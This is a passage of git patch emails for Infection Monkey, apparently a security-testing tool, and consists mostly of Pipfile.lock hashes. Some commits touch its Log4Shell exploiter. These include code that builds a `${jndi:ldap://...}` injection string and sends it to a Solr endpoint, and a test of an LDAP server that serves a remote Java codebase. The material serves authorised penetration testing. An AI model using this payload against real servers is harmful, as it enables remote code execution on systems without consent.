"sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", + "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db" + ], + "version": "==21.1.0" + }, + "simplejson": { + "hashes": [ + "sha256:04e31fa6ac8e326480703fb6ded1488bfa6f1d3f760d32e29dbf66d0838982ce", + "sha256:068670af975247acbb9fc3d5393293368cda17026db467bf7a51548ee8f17ee1", + "sha256:07ecaafc1b1501f275bf5acdee34a4ad33c7c24ede287183ea77a02dc071e0c0", + "sha256:0b4126cac7d69ac06ff22efd3e0b3328a4a70624fcd6bca4fc1b4e6d9e2e12bf", + "sha256:0de783e9c2b87bdd75b57efa2b6260c24b94605b5c9843517577d40ee0c3cc8a", + "sha256:12133863178a8080a3dccbf5cb2edfab0001bc41e5d6d2446af2a1131105adfe", + "sha256:1c9b1ed7ed282b36571638297525f8ef80f34b3e2d600a56f962c6044f24200d", + "sha256:23fe704da910ff45e72543cbba152821685a889cf00fc58d5c8ee96a9bad5f94", + "sha256:28221620f4dcabdeac310846629b976e599a13f59abb21616356a85231ebd6ad", + "sha256:35a49ebef25f1ebdef54262e54ae80904d8692367a9f208cdfbc38dbf649e00a", + "sha256:37bc0cf0e5599f36072077e56e248f3336917ded1d33d2688624d8ed3cefd7d2", + "sha256:3fe87570168b2ae018391e2b43fbf66e8593a86feccb4b0500d134c998983ccc", + "sha256:3ff5b3464e1ce86a8de8c88e61d4836927d5595c2162cab22e96ff551b916e81", + "sha256:401d40969cee3df7bda211e57b903a534561b77a7ade0dd622a8d1a31eaa8ba7", + "sha256:4b6bd8144f15a491c662f06814bd8eaa54b17f26095bb775411f39bacaf66837", + "sha256:4c09868ddb86bf79b1feb4e3e7e4a35cd6e61ddb3452b54e20cf296313622566", + "sha256:4d1c135af0c72cb28dd259cf7ba218338f4dc027061262e46fe058b4e6a4c6a3", + "sha256:4ff4ac6ff3aa8f814ac0f50bf218a2e1a434a17aafad4f0400a57a8cc62ef17f", + "sha256:521877c7bd060470806eb6335926e27453d740ac1958eaf0d8c00911bc5e1802", + "sha256:522fad7be85de57430d6d287c4b635813932946ebf41b913fe7e880d154ade2e", + "sha256:5540fba2d437edaf4aa4fbb80f43f42a8334206ad1ad3b27aef577fd989f20d9", + "sha256:5d6b4af7ad7e4ac515bc6e602e7b79e2204e25dbd10ab3aa2beef3c5a9cad2c7", + "sha256:5decdc78849617917c206b01e9fc1d694fd58caa961be816cb37d3150d613d9a", + "sha256:632ecbbd2228575e6860c9e49ea3cc5423764d5aa70b92acc4e74096fb434044", + "sha256:65b998193bd7b0c7ecdfffbc825d808eac66279313cb67d8892bb259c9d91494", + "sha256:67093a526e42981fdd954868062e56c9b67fdd7e712616cc3265ad0c210ecb51", + "sha256:681eb4d37c9a9a6eb9b3245a5e89d7f7b2b9895590bb08a20aa598c1eb0a1d9d", + "sha256:69bd56b1d257a91e763256d63606937ae4eb890b18a789b66951c00062afec33", + "sha256:724c1fe135aa437d5126138d977004d165a3b5e2ee98fc4eb3e7c0ef645e7e27", + "sha256:7255a37ff50593c9b2f1afa8fafd6ef5763213c1ed5a9e2c6f5b9cc925ab979f", + "sha256:743cd768affaa508a21499f4858c5b824ffa2e1394ed94eb85caf47ac0732198", + "sha256:80d3bc9944be1d73e5b1726c3bbfd2628d3d7fe2880711b1eb90b617b9b8ac70", + "sha256:82ff356ff91be0ab2293fc6d8d262451eb6ac4fd999244c4b5f863e049ba219c", + "sha256:8e8607d8f6b4f9d46fee11447e334d6ab50e993dd4dbfb22f674616ce20907ab", + "sha256:97202f939c3ff341fc3fa84d15db86156b1edc669424ba20b0a1fcd4a796a045", + "sha256:9b01e7b00654115965a206e3015f0166674ec1e575198a62a977355597c0bef5", + "sha256:9fa621b3c0c05d965882c920347b6593751b7ab20d8fa81e426f1735ca1a9fc7", + "sha256:a1aa6e4cae8e3b8d5321be4f51c5ce77188faf7baa9fe1e78611f93a8eed2882", + "sha256:a2d30d6c1652140181dc6861f564449ad71a45e4f165a6868c27d36745b65d40", + "sha256:a649d0f66029c7eb67042b15374bd93a26aae202591d9afd71e111dd0006b198", + "sha256:a7854326920d41c3b5d468154318fe6ba4390cb2410480976787c640707e0180", + "sha256:a89acae02b2975b1f8e4974cb8cdf9bf9f6c91162fb8dec50c259ce700f2770a", + "sha256:a8bbdb166e2fb816e43ab034c865147edafe28e1b19c72433147789ac83e2dda", + "sha256:ac786f6cb7aa10d44e9641c7a7d16d7f6e095b138795cd43503769d4154e0dc2", + "sha256:b09bc62e5193e31d7f9876220fb429ec13a6a181a24d897b9edfbbdbcd678851", + "sha256:b10556817f09d46d420edd982dd0653940b90151d0576f09143a8e773459f6fe", + "sha256:b81076552d34c27e5149a40187a8f7e2abb2d3185576a317aaf14aeeedad862a", + "sha256:bdfc54b4468ed4cd7415928cbe782f4d782722a81aeb0f81e2ddca9932632211", + "sha256:cf6e7d5fe2aeb54898df18db1baf479863eae581cce05410f61f6b4188c8ada1", + "sha256:cf98038d2abf63a1ada5730e91e84c642ba6c225b0198c3684151b1f80c5f8a6", + "sha256:d24a9e61df7a7787b338a58abfba975414937b609eb6b18973e25f573bc0eeeb", + "sha256:d74ee72b5071818a1a5dab47338e87f08a738cb938a3b0653b9e4d959ddd1fd9", + "sha256:dd16302d39c4d6f4afde80edd0c97d4db643327d355a312762ccd9bd2ca515ed", + "sha256:dd2fb11922f58df8528adfca123f6a84748ad17d066007e7ac977720063556bd", + "sha256:deac4bdafa19bbb89edfb73b19f7f69a52d0b5bd3bb0c4ad404c1bbfd7b4b7fd", + "sha256:e03c3b8cc7883a54c3f34a6a135c4a17bc9088a33f36796acdb47162791b02f6", + "sha256:e1ec8a9ee0987d4524ffd6299e778c16cc35fef6d1a2764e609f90962f0b293a", + "sha256:e8603e691580487f11306ecb066c76f1f4a8b54fb3bdb23fa40643a059509366", + "sha256:f444762fed1bc1fd75187ef14a20ed900c1fbb245d45be9e834b822a0223bc81", + "sha256:f63600ec06982cdf480899026f4fda622776f5fabed9a869fdb32d72bc17e99a", + "sha256:fb62d517a516128bacf08cb6a86ecd39fb06d08e7c4980251f5d5601d29989ba" + ], + "index": "pypi", + "version": "==3.17.6" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, + "tempora": { + "hashes": [ + "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", + "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" + ], + "markers": "python_version >= '3.7'", + "version": "==5.0.0" + }, + "tqdm": { + "hashes": [ + "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", + "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==4.62.3" + }, + "twisted": { + "extras": [ + "tls" + ], + "hashes": [ + "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", + "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" + ], + "markers": "python_full_version >= '3.6.7'", + "version": "==21.7.0" + }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, + "typing-extensions": { + "hashes": [ + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + ], + "index": "pypi", + "version": "==4.0.1" + }, + "urllib3": { + "hashes": [ + "sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c", + "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" + ], + "index": "pypi", + "version": "==1.26.5" + }, + "wcwidth": { + "hashes": [ + "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", + "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + ], + "version": "==0.2.5" + }, + "werkzeug": { + "hashes": [ + "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", + "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.2" + }, + "winacl": { + "hashes": [ + "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", + "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.2" + }, + "winsspi": { + "hashes": [ + "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", + "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" + ], + "markers": "platform_system == 'Windows'", + "version": "==0.0.9" + }, + "winsys-3.x": { + "hashes": [ + "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3" + ], + "index": "pypi", + "version": "==0.5.2" + }, + "wmi": { + "hashes": [ + "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", + "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==1.5.1" + }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + }, + "zipp": { + "hashes": [ + "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", + "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" + ], + "markers": "python_version < '3.10'", + "version": "==3.7.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" + } + }, + "develop": { + "ldap3": { + "hashes": [ + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "version": "==2.9.1" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + } + } +} diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py index 99f32eb18..6d0a8715b 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py @@ -1,13 +1,35 @@ -from pathlib import Path +import pytest +from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server -from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN, Tree +from infection_monkey.exploit.log4shell_utils import LDAPExploitServer +from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN +from infection_monkey.network.info import get_free_tcp_port -def test_java_code_base_url(tmp_path): - ip = "172.10.20.30" - port = 9999 +@pytest.mark.slow +def test_ldap_server(tmp_path): + http_ip = "172.10.20.30" + http_port = 9999 + ldap_port = get_free_tcp_port() - tree = Tree(ip, port, tmp_path) - ldif_path = Path(tree.path) / f"{EXPLOIT_RDN}.ldif" - with open(ldif_path, "r") as exploit_dit: - assert f"javaCodeBase: http://{ip}:{port}/" in exploit_dit.read() + ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path) + ldap_server.run() + + server = Server(host="127.0.0.1", port=ldap_port) + conn = Connection(server, auto_bind=True) + conn.search( + search_base=EXPLOIT_RDN, + search_filter="(objectClass=*)", + search_scope=BASE, + attributes=ALL_ATTRIBUTES, + ) + + assert len(conn.response) == 1 + attributes = conn.response[0]["attributes"] + + assert attributes.get("objectClass", None) == ["javaNamingReference"] + assert attributes.get("javaClassName", None) == ["Exploit"] + assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"] + assert attributes.get("javaFactory", None) == ["Exploit"] + + ldap_server.stop() From 77eb3ce00452d96d65c8596bfe83cce6b69956c3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 17 Jan 2022 11:40:31 +0200 Subject: [PATCH 59/77] BB: Added log4j configs to the list of manually generatable configs --- envs/monkey_zoo/blackbox/utils/config_generation_script.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index f38a48d39..27387ed8d 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell @@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [ WmiPth, Zerologon, Drupal, + Log4jLogstash, + Log4jTomcat, + Log4jSolr ] From 311a72188084107155f22366a1ea4d1e8ec60523 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 17 Jan 2022 16:34:56 +0100 Subject: [PATCH 60/77] BB: Fix IP address for Tomcat machines --- envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py index 58efe5e64..a2274a256 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -12,6 +12,6 @@ class Log4jTomcat(ConfigTemplate): { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], "basic_network.scope.depth": 2, - "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + "basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"], } ) From 51bf553fb5c1873782ec016273825d44319c3f12 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 17 Jan 2022 16:37:03 +0100 Subject: [PATCH 61/77] Agent, Island: Minor changes to Log4Shell Return types, removing logging from solr service and change Log4j to Log4Shell in Island reporting --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- .../exploit/log4shell_utils/service_exploiters/solr.py | 2 -- .../exploit_processing/exploiter_descriptor_enum.py | 2 +- .../report-components/security/issues/Log4ShellIssue.js | 8 ++++---- 4 files changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 80a3cbb6e..d33b7d0bd 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -116,12 +116,12 @@ class Log4ShellExploiter(WebRCE): self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - def _build_ldap_payload(self): + def _build_ldap_payload(self) -> str: interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command - def _build_command(self, path, http_path): + def _build_command(self, path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 7bdc3fb42..930c6092c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -15,8 +15,6 @@ class SolrExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" try: - logger.debug("Sending malicious SOLR log4j request") requests.post(url, timeout=5, verify=False) # noqa DUO123 - logger.debug("Request sent") except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index bb63e3cb9..2bce985d5 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -55,7 +55,7 @@ class ExploiterDescriptorEnum(Enum): POWERSHELL = ExploiterDescriptor( "PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor ) - LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4j Exploiter", Log4ShellProcessor) + LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js index e9642d71e..4c1bffb39 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -2,19 +2,19 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; export function log4shellIssueOverview() { - return (
  • Some servers are vulnerable to log4shell remote code execution exploit.
  • ) + return (
  • Some servers are vulnerable to the Log4Shell remote code execution exploit.
  • ) } export function log4shellIssueReport(issue) { return ( <> - Upgrade the log4j component to version 2.15.0 or later. + Upgrade the Apache Log4j component to version 2.15.0 or later. The {issue.service} server {issue.machine} ({issue.ip_address}:{issue.port}) is vulnerable to log4shell remote code execution attack. + className="badge badge-danger">the Log4Shell remote code execution attack.
    - The attack was made possible due to an old version of log4j component. + The attack was made possible due to an old version of Apache Log4j component.
    ); From f667d9203bf3bf5ee374fdc7102ba295c898c767 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 11:40:13 +0200 Subject: [PATCH 62/77] Agent: update Pipfile.lock to contain pyinstaller changes Pyinstaller got changed to not crash ldap server that's running on a spawned process, by continuing if no m0nk3y or dr0pp3r flags are specified --- monkey/infection_monkey/Pipfile.lock | 2604 +++++++++++++------------- 1 file changed, 1313 insertions(+), 1291 deletions(-) diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index b33e8f835..c6bb2174a 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,1291 +1,1313 @@ -{ - "_meta": { - "hash": { - "sha256": "63101ece611456dcb75bc86d42d2041d10925aa594e517d8ff088262257fe7e9" - }, - "pipfile-spec": 6, - "requires": { - "python_version": "3.7" - }, - "sources": [ - { - "name": "pypi", - "url": "https://pypi.org/simple", - "verify_ssl": true - } - ] - }, - "default": { - "aiowinreg": { - "hashes": [ - "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", - "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" - ], - "markers": "python_version >= '3.6'", - "version": "==0.0.7" - }, - "altgraph": { - "hashes": [ - "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", - "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" - ], - "index": "pypi", - "version": "==0.17.2" - }, - "asn1crypto": { - "hashes": [ - "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", - "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" - ], - "version": "==1.4.0" - }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, - "asysocks": { - "hashes": [ - "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", - "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" - ], - "markers": "python_version >= '3.6'", - "version": "==0.1.2" - }, - "attrs": { - "hashes": [ - "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", - 